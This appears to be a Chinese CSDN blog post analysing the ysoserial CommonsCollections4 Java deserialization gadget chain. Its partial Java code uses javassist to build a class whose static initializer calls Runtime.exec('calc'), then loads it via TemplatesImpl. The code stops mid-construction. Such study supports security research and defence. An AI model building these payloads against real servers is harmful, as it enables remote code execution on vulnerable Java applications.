ysoserial CommonsColletions4分析

本文介绍了 ysoserial 中的 CommonsCollections4 模块,其构造 payload 是基于 CC3 和 CC2 的组合,但需要注意 TransformingComparator 在特定版本不支持反序列化。在 JDK 1.7 和 1.8 下,通过 javassist 创建攻击类,利用 ConstantTransformer、InstantiateTransformer、ChainedTransformer 构建调用链,并借助 TransformingComparator 触发。在优先级队列反序列化过程中,利用 compare 方法实现攻击。总结了构造 payload 的关键点,包括 size、initialCapacity 和 comparator 的设置。
摘要由CSDN通过智能技术生成

其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点。

不过要注意的是,CC4和CC2一样需要在commons-collections-4.0版本使用,3.1-3.2.1版本不能去使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。

JDK版本对于CC2和CC4来说,1.7和1.8都测试成功,下面我们就来快速构造一下payload

构造payload

CC4用的是javassist创建攻击类,使用TemplatesImpl类中的newTransformer方法触发攻击类中的静态方法

public class Demo {
   
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
   
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
   
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值